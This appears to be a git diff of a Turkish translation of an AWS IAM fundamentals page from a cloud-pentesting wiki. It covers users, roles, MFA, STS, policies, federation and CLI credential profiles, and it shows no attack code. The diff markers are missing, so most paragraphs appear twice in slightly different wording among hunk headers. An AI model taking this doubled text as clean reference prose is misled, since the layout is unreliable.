### [AWS hesap kök kullanıcısı](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**_dır ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir.
Amazon Web Services (AWS) hesabı oluşturduğunuzda, hesabınızdaki tüm AWS hizmetlerine ve kaynaklarına **tam erişime sahip** tek bir oturum açma kimliği ile başlarsınız. Bu, AWS hesabının _**kök kullanıcısı**dır_ ve **hesabı oluşturmak için kullandığınız e-posta adresi ve şifre ile oturum açarak** erişilir.
Yeni bir **admin kullanıcısının**, kök kullanıcıdan **daha az izin** alacağını unutmayın.
Yeni bir **admin kullanıcısının kök kullanıcıdan** **daha az yetkisi** olacağını unutmayın.
Güvenlik açısından, diğer kullanıcıları oluşturmanız ve bu kullanıcıyı kullanmaktan kaçınmanız önerilir.
### [IAM kullanıcıları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
IAM _kullanıcısı_, AWS'de **AWS ile etkileşimde bulunan kişi veya uygulamayı temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir.
IAM _kullanıcısı_, AWS'de **onu kullanarak AWS ile etkileşimde bulunan kişi veya uygulamayı** **temsil etmek** için oluşturduğunuz bir varlıktır. AWS'deki bir kullanıcı, bir isim ve kimlik bilgileri (şifre ve en fazla iki erişim anahtarı) içerir.
Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak (önerilir) veya **doğrudan politikalar ekleyerek** **izinler** verirsiniz.
Bir IAM kullanıcısı oluşturduğunuzda, ona uygun izin politikaları eklenmiş bir **kullanıcı grubunun üyesi** yaparak **izinler** verirsiniz (önerilir) veya **doğrudan politikalar** ekleyerek kullanıcıya izinler verirsiniz.
Kullanıcılar, konsola giriş yapmak için **MFA etkinleştirilebilir**. MFA etkinleştirilmiş kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Kullanıcılar, konsoldan giriş yapmak için **MFA etkinleştirilebilir**. MFA etkin kullanıcıların API token'ları MFA ile korunmaz. Eğer **MFA kullanarak bir kullanıcının API anahtarlarının erişimini kısıtlamak** istiyorsanız, belirli eylemleri gerçekleştirmek için MFA'nın mevcut olması gerektiğini politikada belirtmeniz gerekir (örnek [**burada**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **Erişim Anahtarı ID**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT
- **Gizli erişim anahtarı ID**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Kayıp gizli erişim anahtarı ID'leri geri alınamaz).
- **Erişim Anahtarı ID'si**: 20 rastgele büyük harfli alfanümerik karakter, örneğin AKHDNAPO86BSHKDIRYT
- **Gizli erişim anahtarı ID'si**: 40 rastgele büyük ve küçük harf karakteri: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (kayıp gizli erişim anahtarı ID'leri geri alınamaz).
Herhangi bir zamanda **Erişim Anahtarını değiştirmek** istediğinizde izlemeniz gereken süreç:\
&#xNAN;_&#x43; yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> eski erişim anahtarını sil_
Erişim Anahtarını **değiştirmeniz gerektiğinde** izlemeniz gereken süreç:\
&#xNAN;_&#x43; yeni bir erişim anahtarı oluştur -> Yeni anahtarı sistem/uygulamaya uygula -> Orijinalini pasif olarak işaretle -> Yeni erişim anahtarının çalıştığını test et ve doğrula -> Eski erişim anahtarını sil_
### MFA - Çok Faktörlü Kimlik Doğrulama
@@ -121,37 +121,37 @@ MFA koşulları olan politikalar aşağıdakilere eklenebilir:
- Bir IAM kullanıcısı veya grubu
- Amazon S3 bucket, Amazon SQS kuyruğu veya Amazon SNS konusu gibi bir kaynak
- Bir kullanıcının üstlenebileceği bir IAM rolünün güven politikası
- Bir kullanıcı tarafından üstlenilebilen bir IAM rolünün güven politikası
Eğer **CLI üzerinden** MFA kontrolü yapan bir kaynağa **erişmek** istiyorsanız, **`GetSessionToken`** çağrısı yapmalısınız. Bu, MFA hakkında bilgi içeren bir token verecektir.\
Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgiyi içermez**.
Eğer **CLI üzerinden** MFA **kontrol eden** bir kaynağa erişmek istiyorsanız, **`GetSessionToken`** çağrısı yapmanız gerekir. Bu, MFA hakkında bilgi içeren bir token verir.\
Unutmayın ki **`AssumeRole` kimlik bilgileri bu bilgileri içermez**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
As [**burada belirtilmiştir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), **MFA'nın kullanılamayacağı** birçok farklı durum vardır.
Aşağıda [**burada belirtilen**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html) birçok farklı durum vardır ki **MFA kullanılamaz**.
### [IAM kullanıcı grupları](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya** aynı anda **politika eklemenin** bir yoludur, bu da o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**.
Bir IAM [kullanıcı grubu](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html), **birden fazla kullanıcıya politika eklemenin** bir yoludur ve bu, o kullanıcıların izinlerini yönetmeyi kolaylaştırabilir. **Roller ve gruplar bir grubun parçası olamaz**.
Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. Bir **kullanıcı grubunu** bir **`Principal`** olarak bir **politikada** (kaynak tabanlı bir politika gibi) tanımlayamazsınız çünkü gruplar izinlerle, kimlik doğrulama ile değil, ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır.
Bir **kimlik tabanlı politikayı bir kullanıcı grubuna** ekleyebilirsiniz, böylece kullanıcı grubundaki tüm **kullanıcılar** **politikanın izinlerini alır**. **Bir kullanıcı grubunu** bir **`Principal`** olarak tanımlayamazsınız (örneğin, kaynak tabanlı bir politika gibi) çünkü gruplar izinlerle, kimlik doğrulama ile değil ilişkilidir ve prensipler kimlik doğrulaması yapılmış IAM varlıklarıdır.
Kullanıcı gruplarının bazı önemli özellikleri şunlardır:
- Bir kullanıcı **grubu** **birçok kullanıcı** içerebilir ve bir **kullanıcı** **birden fazla gruba** ait olabilir.
- Bir kullanıcı **grubu** **birçok kullanıcı içerebilir** ve bir **kullanıcı** **birden fazla gruba ait olabilir**.
- **Kullanıcı grupları iç içe olamaz**; yalnızca kullanıcıları içerebilir, diğer kullanıcı gruplarını değil.
- AWS hesabındaki tüm kullanıcıları otomatik olarak içeren **varsayılan bir kullanıcı grubu yoktur**. Böyle bir kullanıcı grubuna sahip olmak istiyorsanız, onu oluşturmalı ve her yeni kullanıcıyı ona atamalısınız.
- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı gibi sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotalarına](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) bakın.
- AWS hesabındaki IAM kaynaklarının sayısı ve boyutu, grupların sayısı ve bir kullanıcının üyesi olabileceği grup sayısı ile sınırlıdır. Daha fazla bilgi için [IAM ve AWS STS kotaları](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) sayfasına bakın.
### [IAM rolleri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
Bir IAM **rolü**, bir **kullanıcıya** çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikaları olan bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak ilişkilendirilmek yerine, bir rol **ihtiyacı olan herkes tarafından üstlenilebilir (ve yeterli izinlere sahip olmalıdır)**. Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) **atanabilir**.
Bir IAM **rolü**, bir **kullanıcı** ile çok **benzer** olup, AWS'de ne yapabileceğini ve ne yapamayacağını belirleyen **izin politikalarına sahip bir kimliktir**. Ancak, bir rolün **ilişkili olduğu herhangi bir kimlik bilgisi** (şifre veya erişim anahtarları) yoktur. Bir kişiye özgü olarak değil, bir rolün **ihtiyacı olan herkes tarafından üstlenilmesi** amaçlanmıştır (ve yeterli izinlere sahip olunmalıdır). Bir **IAM kullanıcısı, belirli bir görev için geçici olarak** farklı izinler almak üzere bir rolü üstlenebilir. Bir rol, IAM yerine harici bir kimlik sağlayıcısı kullanarak oturum açan bir [**federasyon kullanıcısına**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) atanabilir.
Bir IAM rolü, **iki tür politikadan** oluşur: **boş olamaz** olan bir **güven politikası**, rolü **kimin üstlenebileceğini** tanımlar ve **boş olamaz** olan bir **izin politikası**, **neye erişebileceğini** tanımlar.
#### AWS Güvenlik Token Servisi (STS)
AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır:
AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklara sahip kimlik bilgileri** vermeyi kolaylaştıran bir web hizmetidir. Özellikle aşağıdakiler için tasarlanmıştır:
### [IAM'de Geçici Kimlik Bilgileri](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
@@ -164,10 +164,10 @@ AWS Güvenlik Token Servisi (STS), **geçici, sınırlı ayrıcalıklı kimlik b
İzinleri atamak için kullanılır. 2 tür vardır:
- AWS yönetilen politikalar (AWS tarafından önceden yapılandırılmış)
- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (onlardan birini değiştirerek ve kendi politikanızı oluşturarak), politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanarak veya kendi politikanızı yazarak dayalı politikalar oluşturabilirsiniz.
- Müşteri Yönetilen Politikalar: Siz tarafından yapılandırılmıştır. AWS yönetilen politikalarına (birini değiştirerek ve kendi politikanızı oluşturarak) dayalı politikalar oluşturabilir, politika oluşturucu (izinleri vermenize ve reddetmenize yardımcı olan bir GUI görünümü) kullanabilir veya kendi politikanızı yazabilirsiniz.
**Varsayılan erişim** **reddedilir**, açık bir rol belirtilirse erişim verilecektir.\
Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir).
Eğer **tek bir "Deny" varsa, "Allow"u geçersiz kılacaktır**, AWS hesabının kök güvenlik kimlik bilgilerini kullanan talepler hariç (varsayılan olarak izin verilir).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -190,15 +190,15 @@ Eğer **tek bir "Reddet" varsa, "İzin Ver"i geçersiz kılacaktır**, AWS hesab
]
}
```
The [herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[Herhangi bir hizmette koşullar için kullanılabilecek global alanlar burada belgelenmiştir](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[Her hizmet için koşullar için kullanılabilecek özel alanlar burada belgelenmiştir](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### Inline Politika
Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka birinin kullanabileceği Politika listesinde görünmezler.\
Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimlikte yer alan politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır.
Bu tür politikalar **doğrudan** bir kullanıcıya, gruba veya role atanır. Bu nedenle, başka biri tarafından kullanılamadıkları için Politika listesinde görünmezler.\
Inline politikalar, bir politikanın uygulandığı kimlik ile **katı bir birebir ilişkiyi sürdürmek** istiyorsanız faydalıdır. Örneğin, bir politikanın izinlerinin, amaçlandığı kimlik dışında başka bir kimliğe yanlışlıkla atanmadığından emin olmak istersiniz. Inline politika kullandığınızda, politikanın izinleri yanlış bir kimliğe yanlışlıkla eklenemez. Ayrıca, AWS Yönetim Konsolu'nu kullanarak o kimliği sildiğinizde, kimliğe gömülü politikalar da silinir. Bunun nedeni, bunların ana varlığın bir parçası olmasıdır.
#### Kaynak Kova Politikaları
#### Kaynak Bucket Politikaları
Bunlar, **kaynaklarda** tanımlanabilen **politikalar**dır. **AWS'nin tüm kaynakları bunları desteklemez**.
@@ -208,7 +208,7 @@ Eğer bir anahtarın üzerinde açık bir red yoksa ve bir kaynak politikası on
IAM sınırları, bir kullanıcının veya rolün erişim sağlaması gereken izinleri **sınırlamak için** kullanılabilir. Bu şekilde, eğer kullanıcıya **farklı bir politika** tarafından farklı bir izin seti verilirse, bu izinleri kullanmaya çalıştığında işlem **başarısız** olur.
Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır yalnızca S· kovalarını okuyabileceğini gösteriyorsa, yapabileceği maksimum budur.
Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının veya rolün sahip olabileceği maksimum izin seviyesini gösterir**. Yani, **kullanıcı Yönetici erişimine sahip olsa bile**, eğer sınır sadece S· bucket'larını okuyabileceğini gösteriyorsa, bu onun yapabileceği maksimum şeydir.
**Bu**, **SCP'ler** ve **en az ayrıcalık** ilkesine uymak, kullanıcıların ihtiyaç duyduğundan daha fazla izne sahip olmalarını kontrol etmenin yollarıdır.
@@ -216,7 +216,7 @@ Bir sınır, bir kullanıcıya eklenen bir politikadır ve **kullanıcının vey
Oturum politikası, bir rolün **üstlenildiği** zaman ayarlanan bir **politikadır**. Bu, o oturum için bir **IAM sınırı** gibi olacaktır: Bu, oturum politikasının izin vermediği, ancak **politikada belirtilenlerle sınırladığı** anlamına gelir (maksimum izinler rolün sahip olduğu izinlerdir).
Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda izinleri yalnızca oturum politikasında belirtilenlerle sınırlayabilir.
Bu, **güvenlik önlemleri** için faydalıdır: Bir yönetici çok ayrıcalıklı bir rol üstleneceği zaman, oturumun tehlikeye girmesi durumunda oturum politikasında belirtilenlerle sınırlı izinleri kısıtlayabilir.
```bash
aws sts assume-role \
--role-arn <value> \
@@ -224,24 +224,24 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) (gelişmiş kimlik doğrulaması kullanarak) AWS, oturumun erişebileceği hizmetleri sınırlayan **bir oturum politikası ile oturum kimlik bilgileri** oluşturacaktır [**aşağıdaki listeye**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Not edin ki varsayılan olarak **AWS, üçüncü nedenlerden dolayı oluşturulacak oturumlara oturum politikaları ekleyebilir**. Örneğin, [kimlik doğrulaması yapılmamış cognito varsayılan rolleri](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) kullanıldığında (gelişmiş kimlik doğrulaması ile), AWS **oturum politikası ile oturum kimlik bilgileri** oluşturacaktır; bu, oturumun erişebileceği hizmetleri [**aşağıdaki liste ile sınırlamaktadır**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikasının olmasıdır**.
Bu nedenle, bir noktada "... çünkü hiçbir oturum politikası ...'ya izin vermiyor" hatası ile karşılaşırsanız ve rol, eylemi gerçekleştirme erişimine sahipse, bunun nedeni **bunu engelleyen bir oturum politikası olmasıdır**.
### Kimlik Federasyonu
Kimlik federasyonu, **AWS'ye dışarıdan gelen kimlik sağlayıcılarından kullanıcıların** AWS kaynaklarına güvenli bir şekilde erişmesini sağlar; bu, geçerli bir IAM kullanıcı hesabından AWS kullanıcı kimlik bilgilerini sağlamayı gerektirmez.\
Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz (**SAML** aracılığıyla) veya **OpenID** hizmetleridir (örneğin **Google**). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir.
Bir kimlik sağlayıcısına örnek, kendi kurumsal **Microsoft Active Directory**'niz ( **SAML** aracılığıyla) veya **OpenID** hizmetleridir ( **Google** gibi). Federasyon erişimi, içindeki kullanıcıların AWS'ye erişmesine izin verecektir.
Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (güvenen) Kimlik Sağlayıcısına atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir.
Bu güveni yapılandırmak için, **diğer platforma güvenen bir IAM Kimlik Sağlayıcısı (SAML veya OAuth)** oluşturulur. Ardından, en az bir **IAM rolü (kimlik sağlayıcıya güvenen) atanır**. Güvenilen platformdan bir kullanıcı AWS'ye erişirse, belirtilen rol olarak erişecektir.
Ancak, genellikle üçüncü taraf platformdaki kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü üçüncü taraf Kimlik Sağlayıcısına güvenebilir** ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir.
Ancak, genellikle üçüncü taraf platformda kullanıcının grubuna bağlı olarak **farklı bir rol vermek** istersiniz. Bu durumda, birkaç **IAM rolü,** üçüncü taraf Kimlik Sağlayıcıya güvenebilir ve üçüncü taraf platform, kullanıcılara bir rolü veya diğerini üstlenme izni verecektir.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM Kimlik Merkezi
AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS kullanıcılarının yönetimi ve AWS** hesaplarına ve bulut uygulamalarına erişimlerini bir araya getiren **merkezi bir yer** sağlar.
AWS IAM Kimlik Merkezi (AWS Tek Oturum Açma'nın halefidir), AWS Kimlik ve Erişim Yönetimi (IAM) yeteneklerini genişleterek, **AWS** hesaplarına ve bulut uygulamalarına **kullanıcıların yönetimi ve erişimlerini** bir araya getiren **merkezi bir yer** sağlar.
Giriş alanı, `<user_input>.awsapps.com` gibi bir şey olacak.
@@ -249,13 +249,13 @@ Kullanıcıları giriş yapmak için kullanılabilecek 3 kimlik kaynağı vardı
- Kimlik Merkezi Dizini: Normal AWS kullanıcıları
- Active Directory: Farklı bağlantıları destekler
- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcısından (IdP) gelir
- Dış Kimlik Sağlayıcı: Tüm kullanıcılar ve gruplar bir dış Kimlik Sağlayıcıdan (IdP) gelir
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir organizasyon hesabına** **politika atayabilecektir**.
Kimlik Merkezi dizininin en basit durumunda, **Kimlik Merkezi bir kullanıcı ve grup listesine sahip olacak** ve onlara **herhangi bir hesabın** politikalarını **atama** yeteneğine sahip olacaktır.
Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcısına güvenen bir rol, hedef hesapta oluşturulacaktır**.
Bir Kimlik Merkezi kullanıcı/grubuna bir hesaba erişim vermek için, **Kimlik Merkezi'ne güvenen bir SAML Kimlik Sağlayıcısı oluşturulacak** ve **belirtilen politikalarla Kimlik Sağlayıcıya güvenen bir rol, hedef hesapta oluşturulacaktır**.
#### AwsSSOInlinePolicy
@@ -266,7 +266,7 @@ Bu nedenle, **`AwsSSOInlinePolicy`** adlı bir satır içi politikaya sahip 2 ro
### Hesaplar Arası Güvenler ve Roller
**Bir kullanıcı** (güvenen), bazı politikalarla bir Hesaplar Arası Rol oluşturabilir ve ardından **başka bir kullanıcıya** (güvenilen) **hesabına erişim izni verebilir**, ancak yalnızca **yeni rol politikalarında belirtilen erişimle**. Bunu oluşturmak için, yeni bir Rol oluşturun ve Hesaplar Arası Rolü seçin. Hesaplar Arası Erişim için roller iki seçenek sunar. Sahip olduğunuz AWS hesapları arasında erişim sağlamak ve sahip olduğunuz bir hesap ile üçüncü taraf bir AWS hesabı arasında erişim sağlamak.\
**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, federasyon kullanıcıları gibi diğer kimlik doğrulaması yapılmış kullanıcılar da bu güveni kötüye kullanabilir.
**Güvenilen kullanıcıyı belirtmek ve genel bir şey koymamak** önerilir; aksi takdirde, diğer kimlik doğrulaması yapılmış kullanıcılar, federasyon kullanıcıları gibi, bu güveni kötüye kullanabilir.
### AWS Basit AD
@@ -282,14 +282,14 @@ Desteklenmiyor:
#### Web Federasyonu veya OpenID Kimlik Doğrulaması
Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar.
Uygulama, geçici kimlik bilgileri oluşturmak için AssumeRoleWithWebIdentity'i kullanır. Ancak, bu AWS konsoluna erişim vermez, yalnızca AWS içindeki kaynaklara erişim sağlar.
### Diğer IAM seçenekleri
- **Minimum uzunluk ve şifre gereksinimleri** gibi bir şifre politikası ayarı yapabilirsiniz.
- **Şifre politikası ayarlarını** minimum uzunluk ve şifre gereksinimleri gibi seçenekleri **belirleyebilirsiniz**.
- Mevcut kimlik bilgileri hakkında bilgi içeren bir **"Kimlik Bilgisi Raporu"** **indirebilirsiniz** (kullanıcı oluşturma zamanı, şifre etkin mi...). Bir kimlik bilgisi raporu, her **dört saatte bir** kadar sık oluşturulabilir.
AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinleri** sağlamak için izinleri yönetirsiniz.
AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayrıntılı erişim kontrolü** sağlar. IAM ile, **kimin hangi hizmetlere ve kaynaklara erişebileceğini** ve hangi koşullar altında erişebileceğini belirtebilirsiniz. IAM politikaları ile, iş gücünüze ve sistemlerinize **en az ayrıcalık izinlerini** sağlamak için izinleri yönetirsiniz.
### IAM ID Ön Ekleri
@@ -307,7 +307,7 @@ AWS Kimlik ve Erişim Yönetimi (IAM), AWS genelinde **ince ayarlanmış erişim
| APKA | Genel anahtar |
| AROA | Rol |
| ASCA | Sertifika |
| ASIA | [Geçici (AWS STS) erişim anahtar kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile bir arada benzersizdir. |
| ASIA | [Geçici (AWS STS) erişim anahtarı kimlikleri](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) bu ön eki kullanır, ancak yalnızca gizli erişim anahtarı ve oturum belirteci ile kombinasyon halinde benzersizdir. |
### Hesapları denetlemek için önerilen izinler
@@ -326,9 +326,9 @@ Aşağıdaki ayrıcalıklar, çeşitli meta verilerin okunmasına izin verir:
### CLI Kimlik Doğrulaması
Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları `~/.aws/credentials` dosyasında **manuel olarak** yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\
O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanarak, o dosyada **`[default]`** olarak adlandırılan profil kullanılacaktır.\
Birden fazla profil içeren kimlik bilgisi dosyası örneği:
Bir normal kullanıcının CLI aracılığıyla AWS'ye kimlik doğrulaması yapabilmesi için **yerel kimlik bilgilerine** sahip olması gerekir. Varsayılan olarak, bunları **elle** `~/.aws/credentials` dosyasında yapılandırabilir veya **çalıştırarak** `aws configure` yapabilirsiniz.\
O dosyada birden fazla profil bulundurabilirsiniz; eğer **hiçbir profil** belirtilmezse, **aws cli** kullanırken o dosyadaki **`[default]`** adlı profil kullanılacaktır.\
Birden fazla profil içeren kimlik bilgileri dosyası örneği:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -341,7 +341,7 @@ region = eu-west-2
```
Eğer **farklı AWS hesaplarına** erişmeniz gerekiyorsa ve profilinize **bu hesaplar içinde bir rol üstlenme** yetkisi verildiyse, her seferinde STS'yi manuel olarak çağırmanıza gerek yoktur (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) ve kimlik bilgilerini yapılandırmanıza gerek yoktur.
`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (kullanıcı için `assume-role` şeffaf bir şekilde gerçekleştirilecektir).\
`~/.aws/config` dosyasını kullanarak [**üstlenilecek rolleri belirtmek**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html) ve ardından `--profile` parametresini her zamanki gibi kullanabilirsiniz (rol üstlenme, kullanıcı için şeffaf bir şekilde gerçekleştirilecektir).\
Bir yapılandırma dosyası örneği:
```
[profile acc2]
@@ -351,7 +351,7 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
Bu yapılandırma dosyası ile aws cli'yi şu şekilde kullanabilirsiniz:
Bu yapılandırma dosyasıyla aws cli'yi şu şekilde kullanabilirsiniz:
```
aws --profile acc2 ...
```

View File

@@ -10,7 +10,7 @@ SAML hakkında bilgi için lütfen kontrol edin:
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (** noktalar**, **sertifika** ile birlikte genel anahtar)
**SAML üzerinden bir Kimlik Federasyonu** yapılandırmak için sadece bir **isim** ve tüm SAML yapılandırmasını içeren **metadata XML** sağlamanız yeterlidir (**son noktalar**, **ık anahtara sahip sertifika**)
## OIDC - Github Actions Abuse
@@ -19,7 +19,7 @@ Bir github eylemini Kimlik sağlayıcı olarak eklemek için:
1. _Sağlayıcı türü_ için **OpenID Connect**'i seçin.
2. _Sağlayıcı URL'si_ için `https://token.actions.githubusercontent.com` girin.
3. Sağlayıcının parmak izini almak için _Parmak izini al_ butonuna tıklayın.
4. _Hedef kitle_ için `sts.amazonaws.com` girin.
4. _Hedef_ için `sts.amazonaws.com` girin.
